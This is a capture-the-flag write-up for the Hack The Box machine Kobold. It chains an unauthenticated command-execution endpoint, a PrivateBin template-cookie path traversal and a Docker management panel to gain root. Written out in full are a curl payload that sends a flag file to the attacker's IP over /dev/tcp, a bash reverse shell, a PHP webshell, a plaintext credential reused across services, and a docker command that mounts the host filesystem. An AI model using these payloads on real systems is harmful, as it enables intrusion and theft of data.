Hackthebox: Kobold

Foued SAIDI Lv5

Overview

Kobold is an easy-difficulty Linux machine from Hack The Box running a suite of web services behind nginx. We’ll start by fuzzing virtual hosts thanks to a wildcard SSL certificate, which uncovers an MCPJam Inspector instance vulnerable to CVE-2026-23744, an unauthenticated RCE through the /api/mcp/connect endpoint that lands us a shell as ben. From there, we’ll abuse a shared bind mount between the host and a PrivateBin Docker container to drop a PHP webshell into the container’s web root, then trigger it through CVE-2025-49596, a Local File Inclusion in PrivateBin’s template-switching feature, to leak the database credentials from the container config. Finally, we’ll reuse those credentials to log into the Arcane Docker management panel on port 3552 and spin up a privileged container that mounts the host filesystem, giving us full root.

Kobold-info-card
Kobold-info-card

Reconnaissance

A full TCP port scan reveals four open services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sC -sV -p- --min-rate 5000 10.129.11.204
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-24 20:37 PDT
Nmap scan report for kobold.htb (10.129.11.204)
Host is up (0.65s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-title: Kobold Operations Suite
|_http-server-header: nginx/1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
3552/tcp open http Golang net/http server
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

A few things immediately stand out here. Port 80 just redirects us to HTTPS on kobold.htb, and the SSL certificate on port 443 carries a wildcard SAN (*.kobold.htb), which strongly hints that there are virtual hosts waiting to be discovered. On top of that, port 3552 is serving a Go-based web application which we’ll later identify as Arcane, a Docker management UI.

Virtual Host Discovery

Let’s add kobold.htb to our /etc/hosts file and browse the main site, which greets us with the Kobold Operations Suite landing page. Since that wildcard certificate is basically begging us to look for subdomains, we go ahead and fuzz for virtual hosts, which turns up two additional subdomains:

  • mcp.kobold.htbMCPJam Inspector, a development platform for MCP (Model Context Protocol) servers
  • bin.kobold.htbPrivateBin 2.0.2, a self-hosted encrypted pastebin

Let’s add all of these entries to our hosts file:

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "10.129.11.204 kobold.htb mcp.kobold.htb bin.kobold.htb" | sudo tee -a /etc/hosts
10.129.11.204 kobold.htb mcp.kobold.htb bin.kobold.htb

Foothold — CVE-2026-23744 (MCPJam Inspector RCE)

Vulnerability Analysis

Browsing to https://mcp.kobold.htb shows us the MCPJam Inspector interface. A bit of research on this software leads us to CVE-2026-23744 (GHSA-232v-j27c-5pp6): MCPJam Inspector versions 1.4.2 and earlier expose an HTTP endpoint /api/mcp/connect that lets unauthenticated users specify arbitrary commands to be executed on the server. The serverConfig parameter accepts a command and an args array that get executed directly on the host, which is exactly the kind of primitive we’re looking for.

Exploitation

Let’s set up a netcat listener and send a crafted POST request to the vulnerable endpoint to exfiltrate the user flag as a proof of concept:

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lnvp 9002 > /tmp/userflag.txt 2>&1 &
[1] 8354
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -k -s -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","cat /home/ben/user.txt > /dev/tcp/10.10.16.163/9002"],"env":{}},"serverId":"exfil4"}'
{"success":false,"error":"Connection failed for server exfil4: MCP error -32000: Connection closed","details":"MCP error -32000: Connection closed"}

The error response is completely expected here. The MCP protocol fails to initialize because our command isn’t actually an MCP server, but the command still runs on the target before that failure. Let’s check our listener:

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop]
└─$ cat /tmp/userflag.txt
listening on [any] 9002 ...
connect to [10.10.16.163] from (UNKNOWN) [10.129.11.204] 35350
72df902dd9b7d0ce47589ebc4a714d05

Shell as Ben

Exfiltrating the flag is nice, but let’s turn this into a proper interactive shell by firing off a bash reverse shell instead:

1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -k -s -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.163/4444 0>&1"],"env":{}},"serverId":"revshell"}'
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.163] from (UNKNOWN) [10.129.11.204] 35350
ben@kobold:~$ whoami
ben
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:~$ cat ~/user.txt
72df902dd9b7d0ce47589ebc4a714d05

And just like that we have our shell as ben and we can grab the user flag:

1
72df902dd9b7d0ce47589ebc4a714d05

Notice that ben is a member of the operator group (GID 37), which is going to matter a lot in the next step.

Lateral Movement — CVE-2025-49596 (PrivateBin LFI)

Enumeration as Ben

Poking around the filesystem as ben, we stumble upon a very interesting shared directory:

1
2
3
4
5
6
7
ben@kobold:~$ ls -la /privatebin-data/
total 20
drwxrwx--- 5 root operator 4096 Mar 15 21:23 .
drwxr-xr-x 22 root root 4096 Mar 16 20:57 ..
drwxrwx--- 2 root operator 4096 Mar 15 21:23 certs
drwxr-x--- 2 root 82 4096 Mar 15 21:23 cfg
drwxrwxrwx 5 root operator 4096 Mar 15 21:23 data

The data directory is world-writable, and since ben is part of the operator group that owns these directories, we have write access here. This /privatebin-data/data directory is actually a bind mount shared between the host and the PrivateBin Docker container, meaning anything we write here shows up inside the container’s web root.

Checking Docker

Let’s confirm what containers are in play:

1
2
3
4
ben@kobold:~$ sg docker -c "docker images"
REPOSITORY TAG IMAGE ID CREATED SIZE
mysql latest f66b7a288113 6 weeks ago 922MB
privatebin/nginx-fpm-alpine 2.0.2 f5f5564e6731 4 months ago 122MB

We can see two Docker images: MySQL and the PrivateBin container that’s serving the bin.kobold.htb service.

Exploiting PrivateBin LFI (CVE-2025-49596)

PrivateBin 2.0.2 is vulnerable to CVE-2025-49596 (GHSA-g2j9-g8r5-rg82): when the templateselection configuration option is enabled, the server blindly trusts the template cookie value to decide which PHP template file to load. By stuffing a path traversal into that cookie, we can make it include an arbitrary local PHP file, and since we can already write into the container’s web root, this becomes a straightforward path to code execution.

First, let’s write a PHP webshell into the shared data directory from ben‘s shell:

1
2
3
ben@kobold:~$ echo '<?php system($_GET["cmd"]); ?>' > /privatebin-data/data/shell.php
ben@kobold:~$ ls -la /privatebin-data/data/shell.php
-rw-r--r-- 1 ben ben 31 Mar 24 21:02 /privatebin-data/data/shell.php

Now we trigger the LFI by setting the template cookie to traverse into the data directory where our webshell lives:

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -k -s -b 'template=../data/shell' 'https://bin.kobold.htb/?cmd=id'
uid=82(www-data) gid=82(www-data) groups=82(www-data)

And we now have RCE inside the PrivateBin container as www-data.

Credential Extraction

Let’s use our newly acquired RCE to read the PrivateBin configuration file inside the container and look for anything juicy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -k -s -b 'template=../data/shell' 'https://bin.kobold.htb/?cmd=cat+/srv/cfg/conf.php' | grep -A5 "pwd"
...
[model]
; example of DB configuration for MySQL
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_" ; table prefix
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"
opt[12] = true ; PDO::ATTR_PERSISTENT
...

There we go, we’ve got a set of MySQL credentials for PrivateBin:

  • Username: privatebin
  • Password: ComplexP@sswordAdmin1928

Privilege Escalation — Arcane Docker Management

Accessing Arcane

Remember that Go application sitting on port 3552? That’s Arcane, a Docker container management web UI. Password reuse is always worth a shot, so let’s try the extracted password with the username arcane:

1
Credentials: arcane / ComplexP@sswordAdmin1928

The login succeeds, and we’re now sitting inside the Arcane Docker management panel with admin access.

Creating a Privileged Container

From the Arcane admin interface, we can create a brand new container with the following settings:

  • Image: privatebin/nginx-fpm-alpine:2.0.2 (already available locally)
  • User: root
  • Privileged: Enabled
  • TTY: Enabled
  • Volume mount: / (host) → /hostfs (container)

This mounts the entire host filesystem into our container. Since the container runs as root with privileged access, we effectively get read and write access to any file on the host.

Root Access

After creating and starting the container, we connect to its console and chroot into the mounted host filesystem to become root on the box itself:

1
2
3
4
5
/ # whoami
root
/ # chroot /hostfs /bin/bash
root@kobold:/# cat /root/root.txt
d2f8b37e6a3e4c422c9e5aa0b1860187

Alternatively, if we notice the docker group access early on, this whole thing can be collapsed into a one-liner straight from ben‘s shell:

1
2
ben@kobold:~$ sg docker -c "docker run --rm -v /:/hostfs --user root --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2 -c 'cat /hostfs/root/root.txt'"
d2f8b37e6a3e4c422c9e5aa0b1860187

Either way, we grab the root flag:

1
d2f8b37e6a3e4c422c9e5aa0b1860187

Hope you liked this writeup!
-0xkujen

  • Title: Hackthebox: Kobold
  • Author: Foued SAIDI
  • Created at : 2026-08-06 18:56:02
  • Updated at : 2026-08-07 07:35:07
  • Link: https://kujen5.github.io/2026/08/06/Hackthebox-Kobold/
  • License: This work is licensed under CC BY-NC-SA 4.0.